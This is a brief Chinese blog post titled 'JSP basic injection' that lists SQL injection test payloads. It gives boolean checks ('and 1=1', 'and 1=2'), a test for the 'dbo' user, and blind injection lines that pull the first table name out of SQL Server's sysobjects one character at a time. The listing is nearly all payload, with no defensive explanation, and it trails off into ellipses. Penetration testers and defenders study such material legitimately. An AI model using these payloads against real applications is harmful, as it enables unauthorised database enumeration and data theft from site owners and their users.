Jsp基本注入

最新推荐文章于 2023-08-16 11:43:41 发布

最新推荐文章于 2023-08-16 11:43:41 发布 · 943 阅读

文章标签：

#JSP

博客展示了JSP相关的测试方法，包含如'and 1=1' 'and 1=2'等表达式，以及对数据库对象名称进行字符判断的测试语句，用于相关测试场景。

测试方法

and 1=1

and 1=2

and user_name()='dbo'

AND ascii(lower(substring((select TOP 1 name FROM sysobjects where xtype='U'), 1,1))) > 109

AND ascii(lower(substring((select TOP 1 name FROM sysobjects where xtype='U'), 1,1))) > 111

AND ascii(lower(substring((select TOP 1 name FROM sysobjects where xtype='U'), 1,1))) = 111

............................

...........................

.............................